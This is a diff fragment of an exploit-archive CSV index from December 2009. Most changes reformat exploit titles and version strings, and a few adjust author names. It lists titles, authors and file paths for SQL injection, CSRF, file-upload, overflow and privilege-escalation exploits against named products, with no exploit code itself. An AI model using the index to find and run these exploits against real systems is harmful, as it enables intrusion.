+10406,platforms/php/webapps/10406.txt,"AccStatistics 1.1 - CSRF Vulnerability (Change Admin Settings)",2009-12-13,"Milos Zivanovic",php,webapps,0
 10407,platforms/php/webapps/10407.txt,"Joomla Component com_virtuemart SQL injection vulnerability (product_id)",2009-12-13,"SOA Crew",php,webapps,0
-10408,platforms/php/webapps/10408.txt,"SpireCMS v2.0 SQL Injection Vulnerability",2009-12-13,"Dr.0rYX and Cr3w-DZ",php,webapps,0
+10408,platforms/php/webapps/10408.txt,"SpireCMS 2.0 - SQL Injection Vulnerability",2009-12-13,"Dr.0rYX and Cr3w-DZ",php,webapps,0
 10410,platforms/php/webapps/10410.txt,"phpldapadmin Local File Inclusion",2009-12-10,ipsecs,php,webapps,0
-10412,platforms/php/webapps/10412.txt,"Acc PHP eMail v1.1 - CSRF",2009-12-13,bi0,php,webapps,0
+10412,platforms/php/webapps/10412.txt,"Acc PHP eMail 1.1 - CSRF",2009-12-13,bi0,php,webapps,0
 10414,platforms/php/webapps/10414.txt,"Frog v0.9.5 CSRF Vulnerability",2009-12-13,"Milos Zivanovic",php,webapps,0
-10417,platforms/php/webapps/10417.txt,"Piwigo v2.0.6 Multiple Vulnerabilities",2009-12-13,mr_me,php,webapps,0
+10417,platforms/php/webapps/10417.txt,"Piwigo 2.0.6 - Multiple Vulnerabilities",2009-12-13,mr_me,php,webapps,0
 10418,platforms/php/webapps/10418.txt,"Ele Medios CMS SQL Injection Vulnerability",2009-12-13,"Dr.0rYX and Cr3w-DZ",php,webapps,0
-10419,platforms/php/webapps/10419.txt,"Chipmunk Board Script 1.x Multiple XSRF Vulnerabilities",2009-12-13,"Milos Zivanovic",php,webapps,0
+10419,platforms/php/webapps/10419.txt,"Chipmunk Board Script 1.x - Multiple CSRF Vulnerabilities",2009-12-13,"Milos Zivanovic",php,webapps,0
 10420,platforms/php/webapps/10420.txt,"Ez Guestbook 1.0 Multiple Vulnerabilities",2009-12-14,"Milos Zivanovic",php,webapps,0
 10421,platforms/php/webapps/10421.txt,"Automne.ws CMS 4.0.0rc2 Multiple RFI Vulnerability",2009-12-14,"1nd0n3s14n l4m3r",php,webapps,0
 10422,platforms/php/webapps/10422.txt,"eoCMS <= 0.9.03 Remote FIle Include Vulnerability",2009-12-14,"1nd0n3s14n l4m3r",php,webapps,0
 10423,platforms/windows/local/10423.pl,"RM Downloader 3.0.2.1(.M3U File) Stack Overflow exploit",2009-12-14,"Vinod Sharma",windows,local,0
 10424,platforms/multiple/webapps/10424.txt,"Redmine <= 0.8.6 CSRF Add Admin User Exploit",2009-12-14,p0deje,multiple,webapps,0
-10425,platforms/asp/webapps/10425.txt,"Quartz Concept Content Manager V3.00 Auth Bypass",2009-12-14,Mr.aFiR,asp,webapps,0
+10425,platforms/asp/webapps/10425.txt,"Quartz Concept Content Manager 3.00 - Auth Bypass",2009-12-14,Mr.aFiR,asp,webapps,0
 10426,platforms/linux/webapps/10426.txt,"[WS] upload Remote File Upload Vulnerability",2009-12-14,ViRuSMaN,linux,webapps,80
 10427,platforms/linux/webapps/10427.txt,"DigitalHive Multiple Vulnerabilities",2009-12-14,ViRuSMaN,linux,webapps,80
 10428,platforms/windows/webapps/10428.txt,"Maxs AJAX File Uploader Remote File Upload Vulnerability",2009-12-14,ViRuSMaN,windows,webapps,80
 10429,platforms/linux/webapps/10429.txt,"myPHPupload 0.5.1 Remote File Upload Vulnerability",2009-12-14,ViRuSMaN,linux,webapps,80
-10430,platforms/linux/webapps/10430.txt,"NAS Uploader [V1.0 and 1.5] Remote File Upload Vulnerability",2009-12-14,ViRuSMaN,linux,webapps,80
+10430,platforms/linux/webapps/10430.txt,"NAS Uploader 1.0 & 1.5 - Remote File Upload Vulnerability",2009-12-14,ViRuSMaN,linux,webapps,80
 10431,platforms/multiple/webapps/10431.txt,"Zabbix Agent < 1.6.7 Remote Bypass Vulnerability",2009-12-14,Nicob,multiple,webapps,80
 10432,platforms/multiple/webapps/10432.txt,"Zabbix Server Multiple remote vulnerabilities",2009-12-14,Nicob,multiple,webapps,80
-10433,platforms/linux/webapps/10433.txt,"Mail Manager Pro XSRF (Change Admin Password)",2009-12-14,"Milos Zivanovic",linux,webapps,80
+10433,platforms/linux/webapps/10433.txt,"Mail Manager Pro - CSRF (Change Admin Password)",2009-12-14,"Milos Zivanovic",linux,webapps,80
 10434,platforms/windows/remote/10434.py,"Savant Web Server 3.1 Remote Buffer Overflow Exploit",2009-12-14,DouBle_Zer0,windows,remote,80
 10436,platforms/php/webapps/10436.txt,"Link Up Gold CSRF - Create Administrator Account",2009-12-14,bi0,php,webapps,0
 10437,platforms/php/webapps/10437.txt,"Smart PHP Subscriber Multiple Disclosure Vulnerabilities",2009-12-14,"Milos Zivanovic",php,webapps,0
 10438,platforms/php/webapps/10438.txt,"AdManagerPro CSRF Create Administrator Account",2009-12-14,bi0,php,webapps,0
-10439,platforms/php/webapps/10439.txt,"Ez Poll Hoster Multiple XSS and XSRF Vulnerabilities",2009-12-14,"Milos Zivanovic",php,webapps,0
+10439,platforms/php/webapps/10439.txt,"Ez Poll Hoster - Multiple XSS and CSRF Vulnerabilities",2009-12-14,"Milos Zivanovic",php,webapps,0
 10440,platforms/php/webapps/10440.txt,"Easy Banner Pro - [ CSRF ] Create Administrator Account",2009-12-14,bi0,php,webapps,0
 10442,platforms/php/webapps/10442.txt,"Text Exchange Pro - [ CSRF ] Create Administrator Account",2009-12-14,bi0,php,webapps,0
-10444,platforms/php/webapps/10444.txt,"mini Hosting Panel XSRF Change Admin Settings",2009-12-14,"Milos Zivanovic",php,webapps,0
+10444,platforms/php/webapps/10444.txt,"mini Hosting Panel - CSRF Change Admin Settings",2009-12-14,"Milos Zivanovic",php,webapps,0
 10445,platforms/php/webapps/10445.txt,"Tender System 0.9.5b LFI",2009-12-14,Packetdeath,php,webapps,0
 10446,platforms/php/webapps/10446.txt,"WSCreator 1.1 Blind SQL Injection",2009-12-14,"Salvatore Fresta",php,webapps,0
 10447,platforms/php/webapps/10447.txt,"Traidnt Discovery - [CSRF] Create Staff Account",2009-12-14,G0D-F4Th3r,php,webapps,0
 10448,platforms/multiple/webapps/10448.txt,"Oracle E-Business Suite Multiple Remote Vulnerabilities",2009-12-14,Hacktics,multiple,webapps,0
-10449,platforms/asp/webapps/10449.txt,"EEGshop v1.2 SQL Injection Vulnerability",2009-12-15,Securitylab.ir,asp,webapps,0
+10449,platforms/asp/webapps/10449.txt,"EEGshop 1.2 - SQL Injection Vulnerability",2009-12-15,Securitylab.ir,asp,webapps,0
 10450,platforms/php/webapps/10450.txt,"Linkster PHP/MySQL SQL Injection Vulnerability",2009-12-15,"Angela Zhang",php,webapps,0
 10451,platforms/hardware/remote/10451.txt,"HMS HICP Protocol + Intellicom NetBiterConfig.exe Remote Buffer Overflow",2009-12-14,"Ruben Santamarta",hardware,remote,0
 10452,platforms/php/webapps/10452.txt,"Ez News Manager / Pro CSRF Change Admin Password",2009-12-15,"Milos Zivanovic",php,webapps,0
 10453,platforms/php/webapps/10453.txt,"SitioOnline SQL Injection Vulnerability",2009-12-15,4lG3r14n0-t3r0,php,webapps,0
 10454,platforms/php/webapps/10454.txt,"Ez Faq Maker Multiple Vulnerabilities",2009-12-15,"Milos Zivanovic",php,webapps,0
-10455,platforms/asp/webapps/10455.txt,"DesigNsbyjm Cms <== 1.0 (PageId) Remote SQL Injection Vulnerability",2009-12-15,Red-D3v1L,asp,webapps,0
+10455,platforms/asp/webapps/10455.txt,"DesigNsbyjm Cms <= 1.0 - (PageId) Remote SQL Injection Vulnerability",2009-12-15,Red-D3v1L,asp,webapps,0
 10456,platforms/asp/webapps/10456.txt,"ClickTrackerASP(sitedetails.asp siteid) SQL Injection Vulnerability",2009-12-15,R3d-D3v!L,asp,webapps,0
-10457,platforms/asp/webapps/10457.txt,"LinkPal v1.0 SQL Injection Vulnerability",2009-12-15,R3d-D3v!L,asp,webapps,0
-10458,platforms/php/webapps/10458.txt,"Ez Blog v1.0 (XSS/XSRF) Multiple Vulnerabilities",2009-12-15,"Milos Zivanovic",php,webapps,0
-10461,platforms/php/webapps/10461.txt,"Ez Cart v1.0 Multiple XSRF Vulnerabilities",2009-12-15,"Milos Zivanovic",php,webapps,0
-10462,platforms/php/webapps/10462.txt,"DubSite CMS v1.0 CSRF Vulnerability",2009-12-15,Connection,php,webapps,0
-10463,platforms/php/webapps/10463.txt,"iGaming CMS v1.5 CSRF Vulnerability",2009-12-15,NeX,php,webapps,0
-10464,platforms/asp/webapps/10464.txt,"GalleryPal FE v1.5(Auth Bypass)",2009-12-15,R3d-D3v!L,asp,webapps,0
-10465,platforms/asp/webapps/10465.txt,"SitePal v1.1(Auth Bypass) SQL Injection Vulnerability",2009-12-15,R3d-D3v!L,asp,webapps,0
+10457,platforms/asp/webapps/10457.txt,"LinkPal 1.0 - SQL Injection Vulnerability",2009-12-15,R3d-D3v!L,asp,webapps,0
+10458,platforms/php/webapps/10458.txt,"Ez Blog 1.0 - XSS/CSRF Multiple Vulnerabilities",2009-12-15,"Milos Zivanovic",php,webapps,0
+10461,platforms/php/webapps/10461.txt,"Ez Cart 1.0 - Multiple CSRF Vulnerabilities",2009-12-15,"Milos Zivanovic",php,webapps,0
+10462,platforms/php/webapps/10462.txt,"DubSite CMS 1.0 - CSRF Vulnerability",2009-12-15,Connection,php,webapps,0
+10463,platforms/php/webapps/10463.txt,"iGaming CMS 1.5 - CSRF Vulnerability",2009-12-15,NeX,php,webapps,0
+10464,platforms/asp/webapps/10464.txt,"GalleryPal FE 1.5- Auth Bypass",2009-12-15,R3d-D3v!L,asp,webapps,0
+10465,platforms/asp/webapps/10465.txt,"SitePal 1.1 - (Auth Bypass) SQL Injection Vulnerability",2009-12-15,R3d-D3v!L,asp,webapps,0
 10467,platforms/php/webapps/10467.txt,"Family Connections <= 2.1.3 Multiple Remote Vulnerabilities",2009-12-16,"Salvatore Fresta",php,webapps,0
 10469,platforms/linux/dos/10469.py,"Monkey HTTP Daemon < 0.9.3 Denial of Service Vulnerability",2009-12-16,"Patroklos Argyroudis",linux,dos,80
-10470,platforms/asp/webapps/10470.txt,"JM CMS 1.0  <== 1.0 (Auth Bypass) SQL Injection Vulnerability",2009-12-16,Red-D3v1L,asp,webapps,0
-10472,platforms/php/webapps/10472.txt,"Recipe Script v5.0 Shell Upload/XSRF/XSS Multiple Vulnerabilities",2009-12-16,"Milos Zivanovic",php,webapps,0
+10470,platforms/asp/webapps/10470.txt,"JM CMS 1.0 <= 1.0 - (Auth Bypass) SQL Injection Vulnerability",2009-12-16,Red-D3v1L,asp,webapps,0
+10472,platforms/php/webapps/10472.txt,"Recipe Script 5.0 - Shell Upload/CSRF/XSS Multiple Vulnerabilities",2009-12-16,"Milos Zivanovic",php,webapps,0
 10473,platforms/asp/webapps/10473.txt,"V-SpacePal SQL Injection Vulnerability",2009-12-16,R3d-D3v!L,asp,webapps,0
 10474,platforms/php/webapps/10474.txt,"Article Directory SQL Injection Vulnerability",2009-12-16,R3d-D3v!L,php,webapps,0
 10475,platforms/windows/local/10475.txt,"QuickHeal antivirus 2010 Local Privilege Escalation",2009-12-16,"Francis Provencher",windows,local,0
-10476,platforms/asp/webapps/10476.txt,"RecipePal v1.0 SQL Injection Vulnerability",2009-12-16,R3d-D3v!L,asp,webapps,0
+10476,platforms/asp/webapps/10476.txt,"RecipePal 1.0 - SQL Injection Vulnerability",2009-12-16,R3d-D3v!L,asp,webapps,0
 10478,platforms/php/webapps/10478.txt,"iSupport <= 1.8 XSS/LFI Exploit",2009-12-16,"Stink and Essandre",php,webapps,0
-10479,platforms/php/webapps/10479.txt,"OSSIM v2.1.5 SQL Injection Vulnerability",2009-12-16,"Nahuel Grisolia",php,webapps,0
-10480,platforms/php/webapps/10480.txt,"OSSIM v2.1.5 Remote Command Execution",2009-12-16,"Nahuel Grisolia",php,webapps,0
-10481,platforms/php/webapps/10481.txt,"OSSIM v2.1.5 Arbitrary File Upload",2009-12-16,"Nahuel Grisolia",php,webapps,0
+10479,platforms/php/webapps/10479.txt,"OSSIM 2.1.5 - SQL Injection Vulnerability",2009-12-16,"Nahuel Grisolia",php,webapps,0
+10480,platforms/php/webapps/10480.txt,"OSSIM 2.1.5 - Remote Command Execution",2009-12-16,"Nahuel Grisolia",php,webapps,0
+10481,platforms/php/webapps/10481.txt,"OSSIM 2.1.5 - Arbitrary File Upload",2009-12-16,"Nahuel Grisolia",php,webapps,0
 10482,platforms/asp/webapps/10482.txt,"Codefixer Membership Remote Database Disclosure Vulnerability",2009-12-16,ViRuSMaN,asp,webapps,0
 10483,platforms/asp/webapps/10483.txt,"GuestBookPro Script Remote Database Disclosure Vulnerability",2009-12-16,ViRuSMaN,asp,webapps,0
 10484,platforms/windows/local/10484.txt,"Kaspersky Lab Multiple Products Local Privilege Escalation Vulnerability",2009-12-16,"Maxim A. Kulakov",windows,local,0
@@ -9748,18 +9748,18 @@ id,file,description,date,author,platform,type,port
 10492,platforms/php/webapps/10492.txt,"Pre Hospital Management System (auth bypass) SQL Injection Vulnerability",2009-12-16,R3d-D3v!L,php,webapps,0
 10493,platforms/php/webapps/10493.txt,"WHMCompleteSolution CMS sql Injection Vulnerability",2009-12-16,"Dr.0rYX and Cr3w-DZ",php,webapps,0
 10494,platforms/php/webapps/10494.txt,"D-Tendencia Bt 2008 SQL Injection Vulnerability",2009-12-16,"Dr.0rYX and Cr3w-DZ",php,webapps,0
-10495,platforms/php/webapps/10495.txt,"PhpLinkExchange v1.02 - XSS/Upload Vulerability",2009-12-16,Stink',php,webapps,0
+10495,platforms/php/webapps/10495.txt,"PhpLinkExchange 1.02 - XSS/Upload Vulerability",2009-12-16,Stink',php,webapps,0
 10496,platforms/asp/webapps/10496.txt,"freekot (auth bypass) SQL Injection Vulnerability",2009-12-16,R3d-D3v!L,asp,webapps,0
-10497,platforms/php/webapps/10497.txt,"FILE SHARE v1.0  SQL Injection Vulnerability",2009-12-16,"TOP SAT 13",php,webapps,0
+10497,platforms/php/webapps/10497.txt,"File Share 1.0 - SQL Injection Vulnerability",2009-12-16,"TOP SAT 13",php,webapps,0
 10498,platforms/php/webapps/10498.txt,"Pre Hospital Management System (department.php id) SQL Injection Vulnerability",2009-12-16,R3d-D3v!L,php,webapps,0
-10499,platforms/php/webapps/10499.txt,"eUploader PRO 3.1.1 (XSRF/XSS) Multiple Vulnerabilities",2009-12-16,"Milos Zivanovic",php,webapps,0
+10499,platforms/php/webapps/10499.txt,"eUploader PRO 3.1.1 - CSRF/XSS Multiple Vulnerabilities",2009-12-16,"Milos Zivanovic",php,webapps,0
 10500,platforms/php/webapps/10500.txt,"Omnistar Affiliate (Auth Bypass) SQL Injection Vulnerability",2009-12-16,R3d-D3v!L,php,webapps,0
 10501,platforms/asp/webapps/10501.txt,"Texas Rankem(player.asp player_id) Remote SQL Injection Vulnerability",2009-12-16,R3d-D3v!L,asp,webapps,0
 10502,platforms/asp/webapps/10502.txt,"PRE HOTELS&RESORTS MANAGEMENT SYSTEM(Auth Bypass) Remote SQL Injection",2009-12-16,R3d-D3v!L,asp,webapps,0
 10503,platforms/asp/webapps/10503.txt,"ASPGuest (edit.asp ID) Blind SQL Injection",2009-12-16,R3d-D3v!L,asp,webapps,0
 10504,platforms/asp/webapps/10504.txt,"Smart ASPad(campaignEdit.asp CCam) Blind SQL Injection",2009-12-16,R3d-D3v!L,asp,webapps,0
 10505,platforms/asp/webapps/10505.txt,"Multi-Lingual Application Blind SQL Injection Vulnerability",2009-12-17,R3d-D3v!L,asp,webapps,0
-10507,platforms/asp/webapps/10507.txt,"Charon Cart  v3 (ContentID) Blind SQL Injection Vulnerability",2009-12-17,R3d-D3v!L,asp,webapps,0
+10507,platforms/asp/webapps/10507.txt,"Charon Cart 3.0 - (ContentID) Blind SQL Injection Vulnerability",2009-12-17,R3d-D3v!L,asp,webapps,0
 10510,platforms/hardware/remote/10510.txt,"Cisco ASA <= 8.x VPN SSL module Clientless URL-list control bypass",2009-12-17,"David Eduardo Acosta Rodriguez",hardware,remote,0
 10511,platforms/php/webapps/10511.txt,"PHP F1 Upload Shell Upload Vulnerability",2009-12-17,"wlhaan Hacker",php,webapps,0
 10512,platforms/php/webapps/10512.txt,"Horde 3.3.5 ""PHP_SELF"" XSS vulnerability",2009-12-17,"Juan Galiana Lara",php,webapps,0
@@ -9768,20 +9768,20 @@ id,file,description,date,author,platform,type,port
 10515,platforms/php/webapps/10515.txt,"Basic PHP Events Lister 2 Add Admin Exploit",2009-12-17,"RENO ",php,webapps,0
 10516,platforms/php/webapps/10516.txt,"Jobscript4Web 3.5 Multiple CSRF Vulnerability",2009-12-17,bi0,php,webapps,0
 10517,platforms/php/webapps/10517.txt,"Matrimony Script CSRF Vulnerability",2009-12-17,bi0,php,webapps,0
-10520,platforms/asp/webapps/10520.txt,"Active Auction House v 3.6  Blind SQL Injection Vulnerability",2009-12-17,R3d-D3v!L,asp,webapps,0
+10520,platforms/asp/webapps/10520.txt,"Active Auction House v 3.6 Blind SQL Injection Vulnerability",2009-12-17,R3d-D3v!L,asp,webapps,0
 10521,platforms/asp/webapps/10521.txt,"Active Photo Gallery v 6.2 (Auth Bypass) Remote SQL Injection",2009-12-17,R3d-D3v!L,asp,webapps,0
 10522,platforms/php/webapps/10522.txt,"Pre Job Board 1.0 SQL Bypass Vulnerability",2009-12-17,bi0,php,webapps,0
 10523,platforms/php/webapps/10523.txt,"Uploader by CeleronDude 5.3.0 Shell Upload",2009-12-17,Stink,php,webapps,0
 10525,platforms/asp/webapps/10525.txt,"Pre Jobo .NET SQL Bypass",2009-12-17,bi0,asp,webapps,0
-10526,platforms/asp/webapps/10526.txt,"ActiveBuyandSell v6.2 (buyersend.asp catid) Blind SQL Injection Vulnerability",2009-12-17,R3d-D3v!L,asp,webapps,0
+10526,platforms/asp/webapps/10526.txt,"ActiveBuyandSell 6.2 - (buyersend.asp catid) Blind SQL Injection Vulnerability",2009-12-17,R3d-D3v!L,asp,webapps,0
 10527,platforms/php/webapps/10527.txt,"ReVou Software Remote SQL Injection Vulnerability",2009-12-17,R3d-D3v!L,php,webapps,0
 10528,platforms/php/webapps/10528.txt,"V.H.S. Booking (hotel_habitaciones.php HotelID) Remote SQL Injection Vulnerability",2009-12-17,R3d-D3v!L,php,webapps,0
-10529,platforms/asp/webapps/10529.txt,"eWebquiz v8 Blind SQL Injection Vulnerability",2009-12-17,R3d-D3v!L,asp,webapps,0
+10529,platforms/asp/webapps/10529.txt,"eWebquiz 8 - Blind SQL Injection Vulnerability",2009-12-17,R3d-D3v!L,asp,webapps,0
 10531,platforms/php/webapps/10531.txt,"jCore CMS Cross Site Scripting Vulnerability",2009-12-17,loneferret,php,webapps,0
-10532,platforms/php/webapps/10532.txt,"Piwik Open Flash Chart  Remote Code Execution Vulnerability",2009-12-17," Braeden Thomas",php,webapps,0
+10532,platforms/php/webapps/10532.txt,"Piwik Open Flash Chart Remote Code Execution Vulnerability",2009-12-17," Braeden Thomas",php,webapps,0
 10533,platforms/php/webapps/10533.txt,"VirtueMart 'product_id' Parameter SQL Injection Vulnerability",2009-12-17,Neo-GabrieL,php,webapps,0
 10534,platforms/php/webapps/10534.txt,"Rumba XML suffers from a cross site scripting vulnerability",2009-12-17,"Hadi Kiamarsi",php,webapps,0
-10535,platforms/php/webapps/10535.txt,"WordPress and Pyrmont V2. SQL Injection Vulnerability",2009-12-18,Gamoscu,php,webapps,0
+10535,platforms/php/webapps/10535.txt,"WordPress and Pyrmont 2.x - SQL Injection Vulnerability",2009-12-18,Gamoscu,php,webapps,0
 10537,platforms/php/webapps/10537.txt,"gpEasy <= 1.5RC3 Remote FIle Include Exploit",2009-12-18,cr4wl3r,php,webapps,0
 10540,platforms/asp/webapps/10540.txt,"E-Smartcart Remote SQL Injection Vulnerability",2009-12-18,R3d-D3v!L,asp,webapps,0
 10542,platforms/windows/remote/10542.py,"TFTP SERVER Buffer Overflow remote exploit",2009-12-18,Molotov,windows,remote,69
@@ -9795,18 +9795,18 @@ id,file,description,date,author,platform,type,port
 10550,platforms/php/webapps/10550.txt,"Joomla Component City Portal Blind SQL Injection Vulnerability",2009-12-18,"Fl0riX ",php,webapps,0
 10552,platforms/php/webapps/10552.txt,"FestOs <= 2.2.1 Multiple RFI Exploit",2009-12-19,cr4wl3r,php,webapps,0
 10553,platforms/hardware/dos/10553.rb,"3Com OfficeConnect Routers Remote DoS Exploit",2009-12-19,"Alberto Ortega Llamas",hardware,dos,0
-10555,platforms/php/webapps/10555.txt,"Barracuda Web Firewall 660 Firmware v7.3.1.007 Vulnerability",2009-12-19,Global-Evolution,php,webapps,0
+10555,platforms/php/webapps/10555.txt,"Barracuda Web Firewall 660 Firmware 7.3.1.007 - Vulnerability",2009-12-19,Global-Evolution,php,webapps,0
 10556,platforms/windows/local/10556.c,"PlayMeNow Malformed M3U Playlist File Buffer",2009-12-19,Gr33nG0bL1n,windows,local,0
 10557,platforms/php/local/10557.php,"PHP 5.2.12/5.3.1 symlink() open_basedir bypass",2009-12-19,"Maksymilian Arciemowicz",php,local,0
-10558,platforms/asp/webapps/10558.txt,"Toast Forums v1.8 Database Disclosure Vulnerability",2009-12-19,ViRuSMaN,asp,webapps,0
+10558,platforms/asp/webapps/10558.txt,"Toast Forums 1.8 - Database Disclosure Vulnerability",2009-12-19,ViRuSMaN,asp,webapps,0
 10560,platforms/php/webapps/10560.txt,"Lizard Cart Multiple SQL Injection Exploit",2009-12-19,cr4wl3r,php,webapps,0
 10561,platforms/php/webapps/10561.txt,"CFAGCMS SQL Injection Exploit",2009-12-19,cr4wl3r,php,webapps,0
 10562,platforms/php/webapps/10562.txt,"Ptag <= 4.0.0 Multiple RFI Exploit",2009-12-19,cr4wl3r,php,webapps,0
 10563,platforms/windows/local/10563.py,"PlayMeNow Malformed M3U Playlist WinXP Universal BOF",2009-12-19,loneferret,windows,local,0
 10564,platforms/php/webapps/10564.txt,"SaurusCMS <= 4.6.4 Multiple RFI Exploit",2009-12-19,cr4wl3r,php,webapps,0
-10566,platforms/php/webapps/10566.txt,"Explorer V7.20 Cross Site Scripting Vulnerability",2009-12-20,Metropolis,php,webapps,0
+10566,platforms/php/webapps/10566.txt,"Explorer 7.20 - Cross Site Scripting Vulnerability",2009-12-20,Metropolis,php,webapps,0
 10567,platforms/php/webapps/10567.txt,"Advance Biz Limited <= 1.0 (Auth Bypass) SQL injection Vulnerability",2009-12-20,PaL-D3v1L,php,webapps,0
-10568,platforms/php/webapps/10568.txt,"Simplicity oF Upload (1.3.2) Remote File Upload Vulnerability",2009-12-20,"Master Mind",php,webapps,0
+10568,platforms/php/webapps/10568.txt,"Simplicity oF Upload 1.3.2 - Remote File Upload Vulnerability",2009-12-20,"Master Mind",php,webapps,0
 10569,platforms/php/webapps/10569.txt,"Ignition 1.2 Multiple Local File Inclusion Vulnerabilities",2009-12-20,cOndemned,php,webapps,0
 10570,platforms/php/webapps/10570.txt,"Pandora FMS Monitoring Z0D Vulnerability",2009-12-20,Global-Evolution,php,webapps,0
 10571,platforms/php/webapps/10571.txt,"PacketFence Network Access Controller XSS vulnerability",2009-12-20,K053,php,webapps,0
@@ -9814,7 +9814,7 @@ id,file,description,date,author,platform,type,port
 10573,platforms/asp/webapps/10573.txt,"8pixel.net 2009. Database Disclosure Vulnerability",2009-12-20,LionTurk,asp,webapps,0
 10574,platforms/php/webapps/10574.txt,"phUploader Remote File Upload Vulnerability",2009-12-20,wlhaan-hacker,php,webapps,0
 10575,platforms/php/webapps/10575.txt,"Drumbeat CMS SQL Injection Exploit",2009-12-21,Sora,php,webapps,0
-10576,platforms/asp/webapps/10576.txt,"Angelo-emlak v1.0  Database Disclosure Vulnerability",2009-12-21,LionTurk,asp,webapps,0
+10576,platforms/asp/webapps/10576.txt,"Angelo-emlak 1.0 - Database Disclosure Vulnerability",2009-12-21,LionTurk,asp,webapps,0
 10577,platforms/windows/local/10577.pl,"PlayMeNow Malformed M3U Playlist Buffer Overflow(SEH)",2009-12-21,"ThE g0bL!N",windows,local,0
 10578,platforms/php/webapps/10578.txt,"Ultimate Uploader 1.3 Remote File Upload Vulnerability",2009-12-21,"Master Mind",php,webapps,0
 10579,platforms/multiple/remote/10579.py,"TLS Renegotiation Vulnerability PoC Exploit",2009-12-21,"RedTeam Pentesting",multiple,remote,0
@@ -9825,7 +9825,7 @@ id,file,description,date,author,platform,type,port
 10585,platforms/php/webapps/10585.txt,"webCocoon's simpleCMS SQL Injection Vulnerability",2009-12-21,_ƯNFAZCI_,php,webapps,0
 10586,platforms/php/webapps/10586.txt,"VideoCMS SQL Injection Vulnerability",2009-12-21,kaMtiEz,php,webapps,0
 10587,platforms/php/webapps/10587.txt,"Joomla Component com_jcalpro 1.5.3.6 Remote File Inclusion",2009-12-13,kaMtiEz,php,webapps,0
-10588,platforms/php/webapps/10588.txt,"PDQ Script 1.0  <==  [listingid] SQL Injection",2009-12-21,SecurityRules,php,webapps,0
+10588,platforms/php/webapps/10588.txt,"PDQ Script <= 1.0 - (listingid) SQL Injection",2009-12-21,SecurityRules,php,webapps,0
 10590,platforms/php/webapps/10590.txt,"PHPhotoalbum v0.5 SQL Injection Vulnerability",2009-12-21,Stack,php,webapps,0
 10591,platforms/php/webapps/10591.txt,"Joomla Component com_mediaslide Directory Traversal Vulnerability",2009-12-21,Mr.tro0oqy,php,webapps,0
 10592,platforms/php/webapps/10592.txt,"PHPOPENCHAT 3.0.2 Cross Site Scripting AND/OR FPD",2009-12-21,Dedalo,php,webapps,0
@@ -9833,18 +9833,18 @@ id,file,description,date,author,platform,type,port
 10594,platforms/php/webapps/10594.txt,"The Uploader 2.0 Remote File Upload Vulnerability",2009-12-22,"Master Mind",php,webapps,0
 10595,platforms/windows/local/10595.pl,"CoolPlayer 2.18 M3U Playlist Buffer Overflow Exploit",2009-12-22,data$hack,windows,local,0
 10596,platforms/windows/local/10596.pl,"PlayMeNow Malformed (M3U) Universal XP Seh BoF",2009-12-22,"ThE g0bL!N",windows,local,0
-10597,platforms/php/webapps/10597.txt,"Active PHP Bookmarks v1.3 SQL Injection Vulnerability",2009-12-22,Mr.Elgaarh,php,webapps,0
+10597,platforms/php/webapps/10597.txt,"Active PHP Bookmarks 1.3 - SQL Injection Vulnerability",2009-12-22,Mr.Elgaarh,php,webapps,0
 10598,platforms/php/webapps/10598.txt,"DeluxeBB <= 1.3 Multiple Vulnerabilities",2009-12-22,cp77fk4r,php,webapps,0
 10599,platforms/php/webapps/10599.txt,"The Uploader 2.0 File Disclosure Vulnerability",2009-12-22,Stack,php,webapps,0
 10600,platforms/php/webapps/10600.txt,"mypage v0.4 Local File Inclusion Vulnerability",2009-12-22,BAYBORA,php,webapps,0
-10601,platforms/php/webapps/10601.txt,"Mini File Host v1.5 Remote File Upload Vulnerability",2009-12-22,Mr.Z,php,webapps,0
+10601,platforms/php/webapps/10601.txt,"Mini File Host 1.5 - Remote File Upload Vulnerability",2009-12-22,Mr.Z,php,webapps,0
 10602,platforms/windows/local/10602.pl,"Easy RM to MP3 27.3.700 WinXP SP3",2009-12-22,d3b4g,windows,local,0
-10603,platforms/windows/dos/10603.c,"TFTP Daemon v1.9 Denial of Service Exploit",2009-12-22,Socket_0x03,windows,dos,0
+10603,platforms/windows/dos/10603.c,"TFTP Daemon 1.9 - Denial of Service Exploit",2009-12-22,Socket_0x03,windows,dos,0
 10604,platforms/php/webapps/10604.pl,"Simple PHP Blog v0.5.1 Local File Inclusion Vulnerability",2009-12-22,jgaliana,php,webapps,0
 10606,platforms/php/webapps/10606.txt,"weenCompany SQL Injection Vulnerability",2009-12-22,Gamoscu,php,webapps,0
 10609,platforms/php/webapps/10609.txt,"Aurora CMS Remote SQL Injection Exploit",2009-12-22,Sora,php,webapps,0
 10610,platforms/linux/remote/10610.rb,"CoreHTTP Arbitrary Command Execution Vulnerability",2009-12-23,"Aaron Conole",linux,remote,0
-10611,platforms/php/webapps/10611.txt,"35mm Slide Gallery Cross Site Scripting Vulnerability",2009-12-23,indoushka,php,webapps,0
+10611,platforms/php/webapps/10611.txt,"35mm Slide Gallery Cross Site Scripting Vulnerability",2009-12-23,"indoushka salah el ddine",php,webapps,0
 10612,platforms/php/webapps/10612.txt,"Add An Ad Script Remote File Upload",2009-12-23,MR.Z,php,webapps,0
 10613,platforms/linux/local/10613.c,"2.6.18-20 2009 Local Root Exploit",2009-12-23,DigitALL,linux,local,0
 10614,platforms/php/webapps/10614.txt,"35mm Slide Gallery Directory Traversal Vulnerability",2009-12-23,Mr.tro0oqy,php,webapps,0
@@ -9853,7 +9853,7 @@ id,file,description,date,author,platform,type,port
 10618,platforms/windows/local/10618.py,"Adobe Reader and Acrobat (CVE-2009-4324) Exploit",2009-12-23,"Ahmed Obied",windows,local,0
 10619,platforms/windows/local/10619.c,"Easy RM to MP3 27.3.700 local BOF xp sp2",2009-12-23,bibi-info,windows,local,0
 10620,platforms/windows/local/10620.py,"Easy RM to MP3 2.7.3.700 BoF Exploit",2009-12-23,dijital1,windows,local,0
-10621,platforms/php/webapps/10621.txt,"XP Book v3.0 login Admin Exploit",2009-12-23,"wlhaan hacker",php,webapps,0
+10621,platforms/php/webapps/10621.txt,"XP Book 3.0 - login Admin Exploit",2009-12-23,"wlhaan Hacker",php,webapps,0
 10624,platforms/php/webapps/10624.txt,"Joomla Component com_carman Cross Site Scripting Vulnerability",2009-12-24,Fl0riX,php,webapps,0
 10625,platforms/php/webapps/10625.txt,"Joomla Component com_jeemaarticlecollection SQL injection",2009-12-24,Fl0riX,php,webapps,0
 10626,platforms/php/webapps/10626.txt,"Jax Guestbook 3.50 Admin Login Exploit",2009-12-24,Sora,php,webapps,0
@@ -9862,89 +9862,89 @@ id,file,description,date,author,platform,type,port
